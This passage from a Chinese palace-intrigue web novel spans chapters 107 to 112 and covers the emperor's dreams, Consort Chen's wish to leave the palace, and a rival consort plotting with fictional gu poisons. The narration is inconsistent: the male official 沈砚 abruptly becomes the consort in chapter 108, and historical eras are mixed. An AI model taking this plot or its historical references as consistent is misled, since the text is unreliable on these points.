他转身时,腰间红绳勾住了乔瑾的流苏,两人同时惊退,红绳“啪“地绷断,银饰滚落在乔瑾脚边。 她俯身捡起,指尖触到银饰背面刻的“砚“字,忽然想起方才他卷宗上的字迹——力透纸背,笔锋却在收笔处带了抹柔和的弧度,像春日溪水解冻时的波纹。 沈砚耳尖红得要滴血,伸手欲抢,却在触到她指尖时触电般缩回。 “宸嫔娘娘......“周公公刻意提高声音,惊飞了树上几只麻雀,“皇上吩咐过,娘娘近来身子弱,该早些歇着......” 他特意将“身子弱”三字咬得极重,眼角余光瞥见乔瑾掌心的银饰,心底暗叫不好。 乔瑾垂眸将银饰放进沈砚掌心,指尖掠过他掌纹时,触感像宣纸上未干的墨痕,温温软软的。 “沈大人的东西,还是收好了。”她声音轻得像片羽毛,却在抬头时与周公公对视,目光里忽然漫起薄雾般的疏离。 沈砚攥紧银饰,喉间滚过万千句话,最后却只哑着嗓子道:“娘娘珍重。“ 说罢转身就走,官靴踩在碎瓷上发出“咔嚓“声,惊得梨花簌簌落了满身。 第一百零七章 鸩酒 周公公望着他仓皇的背影,又看看乔瑾鬓边沾的花瓣,忽然想起上月皇上翻她绿头牌时,对着她的画像发了半盏茶的呆。 “娘娘且慢。”他忽然福身,指尖轻轻拂去她肩头落英,“皇上今儿新得了江南进贡的蜜渍金桔,奴才这就着人送些去君心殿......” 他刻意将“皇上“二字咬得极重,见乔瑾淡淡点头,这才转身跟上沈砚,袖中拂尘却已湿了半截——方才那一眼,他分明看见皇上赏给沈砚的玉佩,正坠在宸嫔脚边。 暮色渐浓,乔瑾望着两人远去的方向,忽然觉得指尖还留着银饰的温度。 她摸了摸鬓边的素银簪子,她低头看掌心淡淡的红痕,忽然想起沈砚卷宗上的字迹:“翊坤宫修缮银两支用......“ 君心殿的宫灯次第亮起,将她的影子拉得老长。 远处传来打更声,乔瑾转身时,听见身后梨花落在碎瓷上的轻响,像极了那日中秋,沈砚弯腰替她捡簪子时,玉佩撞在青石板上的声音。 周公公跟着沈砚进了养心殿,见皇上正对着舆图皱眉,忙不迭跪下:“皇上,沈大人他......”话未说完,已被皇上抬手止住。 “人呢?“皇上指尖敲了敲舆图上的木兰围场,烛火在他眼底晃出细碎金光。 沈砚趋前半步,忽觉后颈发寒,这才想起方才在君心殿外,宸嫔望着他的眼神——不似后宫女子的娇媚,倒像他少时在书肆见过的古画,隔着千年尘埃,却能一眼望穿人心。 “臣......臣路上遇见宸嫔娘娘了。”他垂眸盯着地砖缝,听见自己的声音在空旷的殿内回响。 就算他不主动说,皇上肯定也会知道他在宫里面都遇到了谁,又说了些什么话,又待了多久,所以没有必要隐瞒。 君景珩握笔的手顿住,狼毫在宣纸上洇开小团墨渍,像夜空中突然炸开的烟花。 “哦?”君景珩上挑眉,墨渍旁忽然添了道凌厉的笔触,“她说什么了?” 沈砚喉间发紧,想起乔瑾捡起银饰时,指尖在他掌心轻轻一叩,那动作像极了儿时乳娘哄他吃药时的安抚。 “娘娘说......让臣收好东西。”他鬼使神差地摸了摸袖中银饰,触到那枚“砚“字,忽然想起她披风上的并蒂莲,开在素色缎面上,竟比珍婕妤的织金翟衣还要夺目。 君景珩忽然轻笑出声,掷笔靠在龙椅上,烛火将他侧脸的阴影投在墙上,像尊淬了冰的玉雕。 “往后去后宫当差,绕道走。”他声音漫不经心,却在说起“后宫“二字时,指节捏得发白,“尤其是君心殿附近......“ 沈砚心一寒,叩首时,看见皇上案头摆着的《贞观政要》,书页正翻到“夫以铜为镜,可以正衣冠;以古为镜,可以知兴替“那页,却在“以人为镜“四字上,被朱砂笔重重圈了个红圈。 殿外晚风骤起,卷着梨花扑在窗纸上,像极了方才君心殿外,乔瑾转身时,素色披风掠过他指尖的触感——凉薄,却又带着一丝若有若无的暖。 沈砚步出乾元殿时,檐角铜铃正被穿廊风撞出清响。他垂袖掩住掌心微汗,目光掠过丹陛上蜿蜒的云龙浮雕,忽觉那鎏金鳞甲似在日光下泛着冷意。 “陛下今日拨冗听政三刻,却对西北军饷折奏只字未批……” 他喉间滚过一声极轻的叹息,袍角扫过汉白玉阶石时,想起殿内皇帝抚着案头《贞观政要》时似笑非笑的神情,“倒是问了两句江南茶税旧案——这是敲山震虎,还是另有筹谋?” 风卷着残春的柳絮扑上他的面,沈砚抬手拂开时,指甲几乎掐进掌心。 三个月前他联名御史台参奏的盐铁使贪墨案,此刻忽然在记忆里清晰如昨——当时皇帝也是这般温言勉励,转眼却将折子留中不发。 “莫非圣心早已属意那边?”他踟蹰着在回廊拐角站定,望着御花园内新栽的松树,想起今早看见的景阳宫方向浓烟——是哪位宫娥又失手打翻了熏炉?还是…… “沈大人留步。”身后传来内监尖细的呼唤,沈砚浑身肌肉骤然绷紧。却见小宦官捧着鎏金茶盏福了福身:“陛下赐您新贡的蒙顶甘露,说大人议事辛苦。” 茶盏触到指尖的刹那,他忽然想起乾元殿东壁那幅《流民图》——去年他冒死进献时,皇帝曾握着他的手感慨“爱卿忠直”,可如今画轴边缘已泛起霉斑。 “这茶……”他望着杯中浮沉的茶叶,喉间泛起苦涩,“倒像极了建文帝当年赐给景清的那盏鸩酒。” 远处传来景阳钟响,沈砚猛地惊醒,发现自己竟不知不觉走到了玄武门。 抬眼望去,城头“贞观”年号的大旗正猎猎作响,他忽然想起父亲临终前塞在他掌心的玉佩——那是武德年间老国公随太宗皇帝征战时的赐物。 “父帅若知我如今在这朝堂上如履薄冰……”他按住腰间玉佩,忽闻身后有人低语:“御史台新弹劾了户部左侍郎……” 话音未落,沈砚已转身扣住那人手腕,待看清是同科进士李明远时,才松了力道:“明远,这种话以后莫要在宫外说。” 看着对方袖中露出的弹劾副本,他忽然想起乾元殿梁上悬着的“正大光明”匾额,嘴角扯出一丝苦笑:“你可知今早我在殿内,看见陛下案头放着的不是奏折,是本《韩非子》?” 李明远脸色微变,沈砚却已松开手,将茶盏递给路过的小太监:“劳烦转呈陛下,臣谢恩。只望这茶……” 他顿了顿,望着西沉的日头将自己影子拉得老长,“能如陛下心中所想,苦后回甘。” 暮鼓声声里,他拂袖踏上朱雀大街,听着身后宫墙内隐约传来的丝竹声,忽然摸出袖中皇帝今早赐的鎏金镇纸——底面刻着的“戒急用忍”四字,此刻硌得掌心生疼。 “戒急……”他低声重复,抬头看见街边孩童追逐着纸鸢跑过,那鸢尾上“风调雨顺”的题字被风吹得七零八落,“只是这天下事,又有多少能容人慢慢来?” 第一百零八章 再次梦魇 暮春的风裹着细雨扑在雕花窗棂上时,君景珩的指尖还停在“宸嫔”的绿头牌上。 琉璃灯在纱幔后投下暧昧的光晕,将他眉眼之间的纹路染得更深。 周公公垂着眼皮数着铜漏滴答声,直到第三声更鼓掠过宫墙,才听见御案后传来极轻的一声冷笑。 “皇上?”他偷觑着帝王阴鸷的脸色,喉结滚动着补了句,“听闻宸嫔娘娘今日用了太医院新制的安神汤……” “她倒知道避清净。”君景珩忽然抬手将整盘绿头牌推到一旁,翡翠牌面相撞发出泠泠脆响。 他起身时明黄蟒纹披风扫过满地奏折,目光在案头那叠西北军报上顿了顿,“备辇,去君心殿。” 周公公指尖一抖,差点碰翻烛台。 这君心殿自先皇时便空置着,直到今年才赐给刚晋位的宸嫔娘娘——可这位小主性子孤僻,竟将殿内鎏金陈设全换成了素白瓷器,连门槛都比别处高出三寸。 他亦步亦趋跟着帝王踏入雨幕,看着御前灯笼在青石路上投下碎金般的光影,忽闻轿辇内传来低低的哼笑:“朕倒要看看,这位‘身子不适’的,究竟在躲什么。” 君心殿檐角的冰裂纹琉璃灯果然亮着。沈砚听见动静时正在抄《贞观政要》,狼毫在“君,舟也;人,水也”处洇开墨团。 她起身时瞥见镜中自己素白襦裙上未褪的墨痕,指尖无意识地绞着袖口,直到殿门“吱呀”声响,才福身行下礼去:“陛下怎么……” “怎么?”君景珩抬手指了指她案头的书卷,雨珠从鎏金冠上滚落,在青砖上砸出星点水痕,“朕来看望爱妃,倒显得唐突了?” 他忽然逼近半步,嗅到她衣间若有似无的沉水香,“听闻你今日没递绿头牌?” 沈砚后退半步,后腰抵上冰凉的博古架。她看见帝王腰间悬着的羊脂玉扳指——那是今早她在乾元殿议事时,他反复摩挲的物件。 “臣妾……”喉间忽然泛起苦意,她想起白日里他在殿上对西北军饷的推诿,“只是有些头疼……” “头疼?”君景珩忽然伸手扣住她手腕,将人按在博古架上。 翡翠镇纸滚落的声响里,他盯着她泛青的眼底,“朕记得你冬日的时候咳得肺管子都要断了,也没见你推了侍寝。怎么今日……”他忽然瞥见她袖口露出的淡青伤痕,眸色骤冷,“这是何物?” 沈砚猛地抽回手,袖中滑落的不是别的,正是今早周公公送去的蒙顶甘露茶盏碎片。 她望着君景珩拾起碎片时指尖渗出的血珠,忽然笑出声来:“陛下日理万机,竟还有闲心管臣妾的伤?” 殿外惊雷炸响,她看着他眼底翻涌的暗潮,忽然凑近他耳边,“不如猜猜看,这伤是被茶盏划的,还是被《韩非子》的竹简硌的?” 君景珩猛然攥紧她下巴,却在触及她颤抖的睫毛时骤然松力。 他转身拨弄着博古架上的青瓷瓶,瓶中插着的白海棠被碰得簌簌落瓣:“西北的雪应该化了。”他忽然没头没脑地开口,“李将军的折子说,缺的三十万石粮草……” “陛下是要问臣妾?”沈砚打断他,从博古架最深处取出个漆盒,里面整整齐齐码着盐铁使贪墨的账册副本,“还是要问这君心殿的‘心’字,究竟是‘心腹’的‘心’,还是‘心腹大患’的‘心’?” 雨声忽然盖过一切。 君景珩望着她眼底跳动的烛火,想起今早乾元殿上她递折子时,袖口露出的半幅玉佩——那是武德年间的旧物,是他亲手让人缝进她衣里的。 “央央……”这声低唤刚出口,便被她后退三步的动作截断。 “陛下该称臣妾宸嫔。”她低头吹了吹案头墨迹,“若没旁的事,臣妾还要抄经。毕竟……” 她指尖抚过《贞观政要》上“任贤”二字,“这君心殿的每一盏灯,都该照些清明事才好。” 君景珩盯着她低垂的眉眼,忽闻远处传来打更声。 他摸出袖中那方染血的帕子,正是白日里她替他擦拭镇纸时落下的。 “明日早朝,朕要听你说西北的事。”他将帕子压在账册上,转身时披风扫落了她新抄的《出师表》,“至于这绿头牌……” 他在殿门口顿住,声音混着雨声碎成冰碴,“以后你不必递了——朕自会来。” 殿门阖上的刹那,沈砚听见自己心跳如擂鼓。 她望着地上散落的《出师表》,“亲贤臣,远小人”几字被雨水洇得模糊。 “滴——答——”铜漏声里,她捡起帝王遗落的玉扳指,放在烛火下细看。 扳指内壁刻着极小的“砚”字,被摩挲得发亮。 窗外惊雷又起,她忽然将扳指塞进博古架最深处,与那叠弹劾折子埋在一起。 “来人,”她对着虚空唤道,“把这琉璃灯换成省油的吧——照亮别人前,总得先保住自己这点灯油。” —— 乾元殿的鎏金兽首香炉飘出最后一缕沉水香时,君景珩猛然从梦中惊醒。 窗外惊雷正碾过宫墙,将他额角冷汗照得青白。 他攥着明黄锦被坐起,目光怔怔落在帐外摇曳的烛火上,直到烛花“啪”地绽开,才惊觉掌心已被指甲掐出新月形血痕。 “陛下?”值夜的周公公听见动静,掀帘时撞见帝王发怔的模样——自先皇殡天那日起,他便再没见过君景珩这般失魂落魄的神情。 铜漏指向丑时三刻,比平日早朝时辰早了整整半个时辰。 君景珩没答话,只盯着帐顶描金云纹出神。 梦中那抹月白身影又在眼前晃过,女子转身时垂落的玉簪流苏扫过他手背,凉得像今晨沈砚递折子时指尖的温度。 他抚过额角,那里似乎还残留着梦中女子替他擦拭冷汗的触感——可以往十余次梦境里,她始终是模糊的剪影,为何今夜…… “去取宸嫔的画像来。”他忽然开口,声线沙哑得连自己都吓了一跳。 第一百零九章 十日 周公公指尖一抖,差点碰翻妆奁:“陛下是说……宸嫔娘娘的?” 话出口才惊觉失言,忙低眉顺眼道,“宸嫔娘娘素日不爱画像,倒是去年冬日,画师曾替她描过一幅《寒梅图》……” “拿来。”君景珩掀开被子赤脚踩在青砖上,忽觉脚踝触到冰凉的玉佩——是昨夜在君心殿拾到的沈砚旧物,此刻正从床榻缝隙露出半角。 他攥紧玉佩起身,烛火将他投在墙上的影子扯得老长,恍若梦中那女子转身时拖曳的广袖。 画像展开的刹那,惊雷恰好劈亮窗纸。君景珩盯着画中女子垂眸嗅梅的侧脸,指腹摩挲着绢布上的墨痕。 画中人眼角微挑,比之昨夜梦中少了三分温婉,却多了两分清冽——像极了今晨在乾元殿上,沈砚弹劾盐铁使时眼底的冷光。 乾元殿的晨光像被筛过的细沙,斜斜漏在君景珩握着绿头牌的指节上。 他盯着“宸嫔”四个字,忽然觉得这烫金字体像蒙着层薄雾,越想看清,越有细碎的沙粒迷住眼。 指尖无意识地敲着桌沿,直到周公公捧着参茶进来时,才惊觉自己已在原地站了一盏茶工夫。 “国师……”他开口时喉间发涩,目光掠过案头新换的《贞观政要》,书页恰好停在“夫以铜为镜,可以正衣冠;以古为镜,可以知兴替”那页,“何时能回?” 周公公的茶盏在托盘上晃了晃。他记得上一次陛下问起国师,还是三年前西北战乱时——那时国师刚结束闭关,算出“紫微星东移,主有贤臣现”。 此刻看帝王眉间拧着的川字纹,竟比当年接到急报时还要深重。 “回陛下,”他垂眸数着香炉中升起的烟缕,“前日八百里加急传信,说国师在终南山译经已毕,若快马加鞭……” 他顿了顿,瞥见君景珩指尖突然攥紧绿头牌边缘,“约莫还需十日。” 十日。 君景珩咀嚼着这个数字,忽然想起昨夜梦中女子转身时,银步摇上坠着的十颗东珠——每一颗都像此刻窗外悬着的雨珠,明明触手可及,却在指尖化作水汽。 他松开手,绿头牌“啪”地砸在《流民图》残页上,惊飞了案头一只琉璃蝉。 “十日……”他喃喃重复,目光落在博古架上那套新送君心殿的青瓷茶具上。 “陛下可是有心事?”周公公见帝王忽然抓起案头狼毫,在宣纸上乱划一气,忙低低唤了声。 墨迹在纸上洇成歪扭的“央”字,又被他烦躁地涂成墨团。 君景珩望着窗外掠过的飞鸟,想起昨夜梦中女子下颌的朱砂痣——今早他特意翻看了宸嫔的侍寝记录,发现她自晋位后便再未在脸上点过朱砂。 “去查查,”他忽然将笔掷进笔洗,溅起的墨点染脏了明黄龙纹袖口,“宸嫔未入宫前……”话音未落又皱眉摇头,“不,去查国师当年在五台山的闭关记录。” 周公公喉头一动。 他当然知道陛下为何执着于国师——那和尚曾说,陛下命中有“劫数”,需得“以心换心”方能化解。 此刻看帝王反复摩挲着腰间空无一物的玉佩绳,他忽然想起昨夜在君心殿外,曾看见沈小主独自对着月光落泪,袖口露出的旧伤,竟与陛下梦中的描述分毫不差。 “十日……”君景珩忽然笑了,笑声里带着几分释然,几分狠厉。 殿外忽有鸽哨掠过,他望着那抹白色消失在宫墙尽头,指尖轻轻抚过锦帕边缘的焦痕——那是两年前他一时动火,用烛火灼出来的印记。 “传旨,”他将锦帕塞进袖口,忽然对着虚空开口,“从今日起,每日卯时三刻,让钦天监将星象密报送至乾元殿——”他顿了顿,听见自己心跳声混着铜漏滴答,“就说是……国师的意思。” 周公公俯身应下,余光瞥见案头宣纸上未干的墨痕,那团乱线里隐约露出个“乔”字,竟像极了昨夜暴雨中,君心殿琉璃灯在地面投下的破碎光影。 殿外风卷着残春的柳絮扑进来,落在“正大光明”匾额上,将那鎏金大字衬得忽而明,忽而暗,恍若帝王眼底翻涌不定的心事。 卯时三刻的朝鼓声里,君景珩的指尖还在无意识摩挲着袖中半幅锦帕。 鸿胪寺卿奏报藩邦朝贡时,他望着丹陛下方站着的沈砚兄长沈勉,忽然觉得那官员腰间玉佩的纹路,竟与梦中女子裙裾上的暗纹重合。 “陛下?”户部尚书的声音惊破殿内寂静,他这才惊觉自己竟将“西北军饷”听成了“西王母饷”,指节重重叩在御案上:“准奏。” 退朝时沈勉有意落后半步,君景珩却径直往君心殿而去。 春末的阳光穿过雕花廊窗,在他明黄披风上织出碎金般的图案,却驱不散他眉间的阴云。 路过御花园时,他踢到一枚掉落的东珠——与昨夜梦中女子步摇上的珠子一般无二,拾起来时才发现是宸嫔宫中的宫娥遗落的。 君心殿的雕花门虚掩着,里头传来细碎的翻动书页声。 君景珩抬手正要叩门,却透过纱帐看见床上斜倚着个身影——月白中衣松松挽着,露出纤细的脖颈,发间只插着支竹簪,正晃悠悠翻着本话本子,书页上“鹊桥仙”三个字隐约可见。 “陛、陛下?”乔瑾的惊呼声里,话本子“啪”地掉在地上。 她慌忙要起身行礼,却被君景珩一步跨进殿内按住肩膀。 他嗅到她衣间淡淡的沉水香,与梦中女子身上的气息分毫不差,喉结滚动着开口:“不必多礼。” 乔瑾抬眼望进他眼底翻涌的暗潮,这才发现他眼下青黑浓重,竟比昨夜在君心殿时更显憔悴。 她的指尖触到他按在自己肩头的手掌,掌心竟有薄茧——这是今早批奏折时磨出来的?这个念头刚起,便被他突然捏起下颌的动作惊散。 “看的什么?”君景珩盯着她泛红的眼角,拾起地上的话本子。 第一百一十章 荣华富贵 封面“金童玉女娇鸾配”几个艳红大字刺得他眼眶发烫,翻开内页却是《长恨歌》插画,乔瑾掩面的侧脸与他梦中女子重叠。 他忽然想起国师曾说“情劫皆因执念起”,指腹重重碾过“君王掩面救不得”一句。 “不过是闲书。”乔瑾别过脸去,发丝扫过他手腕。 她看见他腰间空落落的玉佩绳,想起昨夜藏在博古架深处的羊脂玉扳指,喉间泛起苦意,“陛下今日早朝……” “朕问你,”君景珩忽然将话本子掷到桌上,青瓷笔洗被震得轻晃,“未入宫前,可曾去过终南山?”这个问题他昨夜在乾元殿反复推敲了数十遍,此刻问出口时,却比想象中还要急切。 “陛下为何问这个?”她反问,指尖悄悄攥紧床单。 窗外传来黄鹂鸣叫声,她忽然想起话本子里那句“早知如此绊人心,何如当初莫相识”,却听君景珩忽然低叹一声,拇指轻轻擦过她下颌——那里并没有梦中的朱砂痣。 “没什么。”他松开手,转身拨弄博古架上的青瓷瓶。瓶中白海棠今早刚换过,花瓣上还凝着露水,“只是觉得……你今日这身打扮,倒像朕梦里见过的一个人。” 乔瑾的心跳漏了半拍。她看见他袖中露出半幅锦帕的角,那鸳鸯绣纹刺得她眼眶发酸。 “陛下若是累了,”她起身替他斟了盏冷茶,“不妨在臣妾这里歇会儿——这君心殿的茶,比乾元殿的要淡些。” 君景珩盯着她垂眸时颤动的睫毛,忽然想起梦中女子转身前那抹笑。 他接过茶盏,触到她指尖的温度,忽然开口:“昨夜朕梦见有人说‘察纳雅言’,醒来竟忘了这话出自何处。” 乔瑾的手猛地一抖,茶水溅在案头《贞观政要》上。 她望着晕开的墨字,想起昨夜抄经时故意漏写的“君,舟也”半句,忽然轻笑出声:“陛下日理万机,自然记不得这些闲书——不过臣妾倒记得,这话后头还有‘以人镜,可以明得失’。” 殿内忽然静得能听见彼此呼吸。 君景珩望着她眼底倒映的自己,忽然发现她耳后碎发的弧度,竟与梦中女子在回廊下持灯的模样分毫不差。 他摸出袖中绿头牌,“宸嫔”四个字在晨光中泛着冷意,却在触到她袖口露出的旧伤时,骤然松了力道。 “以后别总看这些闲书。”他将绿头牌压在《长恨歌》上,转身时瞥见她发间竹簪——那是他去年赐的,她却总说“金簪太重,还是竹的趁手”。 殿外传来打更声,他在门口顿住,声音轻得像是说给自己听,“明日朕让尚衣局送些月白料子来......你穿浅色,好看。” 门扉阖上的刹那,乔瑾跌坐在床沿。她望着他遗落的话本子,“天长地久有时尽”一句被阳光照得透亮。 指尖抚过腰间玉佩,忽然想起父亲临终前说“君心难测,唯情可鉴”,却又看见案头青瓷杯里,他喝过的茶水上漂着片白海棠花瓣,像极了梦中女子步摇上坠落的东珠。 “来人,”她对着虚空唤道,声音里带着连自己都未察觉的颤抖,“把这纱帐换成透光的吧——有些事,该让阳光照进来了。” 阳光斜斜切过君心殿廊柱,四个宫女捧着素白纱帐鱼贯而入时,乔瑾正对着菱花镜拔那支竹簪。 青铜镜里映出为首宫女袖口的暗纹——是太液池的水波图样,她记得这是尚宫局新换的绣样。 “娘娘可要移驾偏殿?”掌事宫女银蝉低头盯着她发间晃动的竹簪,声音里带着惯有的恭谨。 乔瑾将簪子轻轻搁在妆奁上,指尖抚过镜面上一道几乎看不见的裂痕:“不必,就在这儿换吧。” 她转身时,腰间玉佩随动作轻晃,撞在妆台抽屉上发出细碎声响——那里藏着半幅未绣完的鸳鸯锦帕,丝线颜色与君景珩袖中露出的那角分毫不差。 银蝉示意众人动手,素白纱帐如流云般漫过雕花木床。 乔瑾望着旧帐被撤下时扬起的微尘,忽然开口:“你们说,这宫里的纱帐,是不是都遮着见不得人的事?” 宫女们的手同时顿住。 最年轻的小桃抬头偷瞄她,正对上乔瑾垂眸时眼底的光——像冬雪初融时的太液池,看着平静,底下却藏着冰棱子。 “娘娘说笑了,”银蝉将新帐系好,锦带在床柱上挽出雅致的蝴蝶结,“奴婢瞧着,这素白帐子倒比先前的茜纱透亮许多。” 她话音未落,阳光正巧穿过镂空窗棂,在帐面上投下竹影婆娑,仿佛谁用细笔勾了幅水墨画。 乔瑾伸手拨弄帐角流苏,忽然摸到一处线头——那是她昨夜熬夜缝补的痕迹。 想起君景珩昨夜在乾元殿反复摩挲绿头牌的模样,喉间又泛起苦意:“银蝉,你可曾去过终南山?” 屋内陡然静得能听见流苏坠地的轻响。 银蝉的指尖在帐子上猛地收紧,神色有些不解的看向乔瑾。 “回娘娘,”银蝉垂眸盯着地上的光影,“奴婢十三岁进宫,连宫墙都没出过。” 她顿了顿,见乔瑾盯着自己的旧疤出神,忽然压低声音,“不过……倒是听说终南山上有处清云观,观里的道姑总戴羊脂玉扳指。” 乔瑾的指尖骤然掐进掌心。 案头青瓷瓶里的白海棠恰好这时落下一片花瓣,跌在她昨夜抄经的宣纸上,盖住“君王掩面”四字。 “小桃,”她忽然唤那年轻宫女,“去把博古架第三层的青瓷盒拿来。”见小桃面露迟疑,又补了句,“里头是陛下去年赐的蜜渍金桔,你们尝尝。” 银蝉看着小桃捧着盒子退下,忽然凑近几步:“娘娘可是想通了?” 她盯着乔瑾取下的竹簪,簪头那点朱砂漆已被磨得发亮——那是乔瑾亲手点的,说“权当是个念想”。 乔瑾将簪子插入新挽的堕马髻,镜中女子的侧脸与话本子里乔瑾掩面的插画重叠。 第一百一十一章 偏爱 她摸出袖中锦帕,鸳鸯绣纹在阳光下清晰得刺目:“银蝉,你说……若是有人就是偏偏不想要荣华富贵,只想要出宫又该怎么样?” 银蝉神色愣住了,她虽然年纪小,但是他在宫里待了许久,这娘娘们所说的话都要绕个弯,所以乔瑾所说的话她当即就听懂了。 此时窗外传来黄鹂扑棱翅膀的声响,新换的纱帐被风掀起一角,露出远处乾元殿的飞檐。 银蝉望着乔瑾腕间若隐若现的红痕——那是前日君景珩替她描眉时,笔尖不小心划破的。 “娘娘,这……这奴婢听不懂是什么意思”,银蝉脸上露出适当尴尬的神情,“娘娘所说什么就是什么,不过奴婢觉得这每个人内心的想法肯定是不一样的。” 乔瑾望着帐外逐渐浓烈的阳光,想起君景珩昨夜摸她下颌时的温度。 “把妆奁里的朱砂笔拿来,”她忽然转身,对着银蝉展颜一笑,那抹笑竟与君景珩梦中女子转身时分毫不差,“本宫今日想画个远山眉,再点颗……醒目的朱砂痣。” 银蝉看着她蘸朱砂的笔尖悬在半空,忽然听见殿外传来仪仗声——是尚衣局送月白料子来了。 阳光穿过新纱帐,在她裙裾上织出碎金般的光斑,恰似那年终南山上,她躲在银杏树下,看君景珩骑马经过时,衣摆扬起的鎏金纹样。 —— 酉时三刻,鎏金兽首香炉正吐出龙涎香的轻烟,宁贵嫔对着铜镜拨弄翡翠步摇,簪头珍珠随指尖颤动,像她此刻悬着的心。 忽闻殿外传来环佩叮咚,伴着急促的脚步声,不等宫女通报,明黄织金披风已卷着北风闯入暖阁。 “妹妹这景仁宫的‘冷宫香’,倒比北疆的风雪还冻人。”周筱竹解下披风甩给宫女,狐毛领上还沾着未化的雪花,“我在塞外听说你入宫这么久还没得到皇上的宠爱,而且这位分居然还是因为太后,原以为是谣言——” 她扫过案头积灰的《女戒》,指尖蹭过博古架上落满香灰的鎏金香炉,“如今看来,倒是我高看了你。” 周晚吟的指尖猛地掐进掌心,步摇上的珍珠串发出细碎轻响。 她望着姐姐眉间那颗朱砂痣——与自己镜中苍白的脸相比,周筱竹的妆容浓艳得像团火,眉间英气是在北疆骑射时磨出来的,哪里像个深闺女子。 “姐姐……”她喉间发紧,想起方才宫女说太后特许周筱竹免召入宫的事,“北疆苦寒,姐姐怎么忽然……” “自然是瞧着周家的脸被你丢尽了!”周筱竹抓起妆台上的金缕衣往地上一甩,绣着并蒂莲的袖口扫过胭脂盒,丹砂色泼在青砖上,像滩触目惊心的血。 “太后是我姑母,你倒好,放着这么粗的金枝不攀,偏要学那些小家子气的‘贤良淑德’——” 她忽然凑近,盯着妹妹耳后那颗几乎看不见的痣,“你当这宫里是诗社?皇上日理万机,哪有空猜你那点女儿心思?” 周晚吟望着地上的金缕衣,想起去年除夕她穿这件衣服侍宴,君景珩却只看了宸嫔乔瑾一眼。 喉间泛起苦意,她忽然抓住姐姐的手腕,翡翠镯子撞在周筱竹的羊脂玉扳指上,发出清越声响:“那……那该怎么办?姐姐教我……” 周筱竹挑眉看着她泛白的指节,忽然笑出声来,那笑声像北疆的鹰唳,锋利得能划破窗纸:“怎么办?明日就去给太后晨昏定省,把‘姑母疼惜侄女’的戏做足了——” 她扯下妹妹头上的翡翠步摇,换上自己带来的赤金衔珠簪,“再学些狐媚手段,比如……”她指尖划过周晚吟的唇,“把这唇脂换成‘石榴娇’,皇上当年在太液池见了宸嫔的妆,可是多看了两眼。” “宸嫔……”周晚吟听见这个名字,心口猛地一跳。 她想起上个月赏花宴,君景珩亲自给乔瑾簪花,那支玉簪还是她前年献给太后的贡品,“听说她不过是个宫女出身,凭什么……” “凭什么?”周筱竹从袖中摸出张羊皮纸展开,上面画着乔瑾的侧脸,耳后碎发的弧度都勾勒得清清楚楚。 “就凭皇上他喜欢,就凭皇上喜欢,所以那宸嫔任何身外之物都不用提,都比不上皇上的一句喜欢。” 她反反复复的话语,反反复复的喜欢让宁贵嫔神色难看。 周晚吟盯着那幅画像,忽然想起今晨路过君心殿时,看见尚衣局抬着月白料子进去,那颜色正是乔瑾最爱穿的。 指甲深深掐进掌心,她听见自己的声音带着连自己都陌生的尖锐:“皇上的喜爱难不成我就不想要了?” 周晚吟盯着地上那袭被姐姐甩落的金缕衣,绣线勾勒的并蒂莲在烛光下泛着冷光,像极了去年除夕宴上乔瑾腕间晃动的玉镯。 她忽然抓起妆台上的琉璃镇纸砸向墙壁,脆响中碎片飞溅,惊得檐下金铃嗡嗡作响:“凭什么她穿粗布麻衣是‘素洁’,我戴翡翠明珠就是‘俗艳’?!”镇纸碎片划过《女戒》书页,“贤德”二字被割裂成两半,像她此刻破碎的体面。 周筱竹挑眉看着妹妹泛红的眼眶,指尖慢悠悠拨弄羊脂玉扳指:“皇上的心思?” 她忽然凑近,鼻尖几乎碰到周晚吟颤抖的睫毛,“就像你永远猜不到,为何他看宸嫔的眼神,像在看一团火——而看你,却像在看块供在佛前的冷饽饽。” “火?”周晚吟忽然笑起来,那笑声带着病态的尖锐,指甲深深掐进姐姐手腕的旧疤,“不过是个用狐媚子手段勾人的贱人!指不定在当宫女的时候就……” 她猛地噤声,这些话她还是有些不敢乱说的。 周筱竹看着妹妹扭曲的神色,忽然抬手甩了她一记耳光。 翡翠镯子擦过脸颊,在苍白肌肤上留下道红痕:“蠢!若无真凭实据,就把这股子怨气咽回去——”她抓起案头金缕衣抖开,指尖划过并蒂莲花蕊,“但你若想让皇上‘看见’你……” 第一百一十二章 蛊虫 “怎么让他看见?!”周晚吟抓住姐姐的手腕,翡翠镯子与扳指相撞的清响里,她忽然瞥见对方袖中露出的猩红小瓶,“北疆的……是不是有那种药?能让男人心窍迷乱的……” 烛火突然爆了个灯花,将周筱竹眼底的阴影扯得老长。 她慢悠悠抽出那只小瓶,琥珀色液体在瓶中晃出细碎金光:“这是‘缠心蛊’,虫卵入体后,中蛊者每见施蛊人一次,心脉就会绞痛一分——”她忽然将瓶子塞进妹妹掌心,“直到他把你当作心口的朱砂痣,再也揭不掉。” “只不过这个是需要你用自己的血喂养半年,不然中下这蛊的人,也不会对你偏爱。” 宁贵嫔盯着瓶中虫影,神色有些着急的开口,“怎么会需要这么长时间?” 周筱竹轻嗤一声,“你不会还以为这个蛊虫可以随处可见的吧,半年你就嫌长了?在宫里忍受那些嫔妃冷眼相待,那么久的日子都过来了,如今再忍受这半年难道就忍不了了?” 宁贵嫔的脸色变了又变,脸色难看不行,最终忍了下来,又想起方才姐姐说乔瑾腕间有旧伤。 指甲摩挲着瓶身刻的北疆文字,她忽然抬头:“若我想让她……消失呢?” 窗外北风骤起,吹得香炉轻烟猛地折向西方——那是君心殿的方向。 周筱竹望着妹妹眼底跳动的火光,忽然轻笑出声,从袖中摸出个雕花木盒:“‘见血封喉’的金蚕蛊,只需将虫粉掺进她常用的胭脂……”她打开盒盖,露出里面蠕动的金色虫蛹,“不过嘛……” “不过什么?”周晚吟的呼吸骤然急促,掌心沁出的汗将木盒边缘洇得发潮。 “不过这蛊虫认主。”周筱竹用银簪挑起一只虫蛹,烛光下,虫身细如发丝的纹路像极了乔瑾腰间玉佩的刻痕。 “需得用施蛊者的血养足一个月,再趁月黑风高时,将虫蛹埋在她常走的宫道下——”她忽然按住妹妹欲碰木盒的手,“一旦种下,便再无回头路。你可敢?” 殿外传来打更声,子时的梆子响惊飞檐下宿鸟。 周晚吟望着姐姐眼中跳动的烛火,想起三年前选秀那日,自己穿的正是此刻地上的金缕衣,而君景珩的目光,始终停在远处穿月白襦裙的乔瑾身上。 指甲刺破掌心,血珠滴在木盒边缘,金蚕蛊忽然昂起头,虫身泛起兴奋的红光。 